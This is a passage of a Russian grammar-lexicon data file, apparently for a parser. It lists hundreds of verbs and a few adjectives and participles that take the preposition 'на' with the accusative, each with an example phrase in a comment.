rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
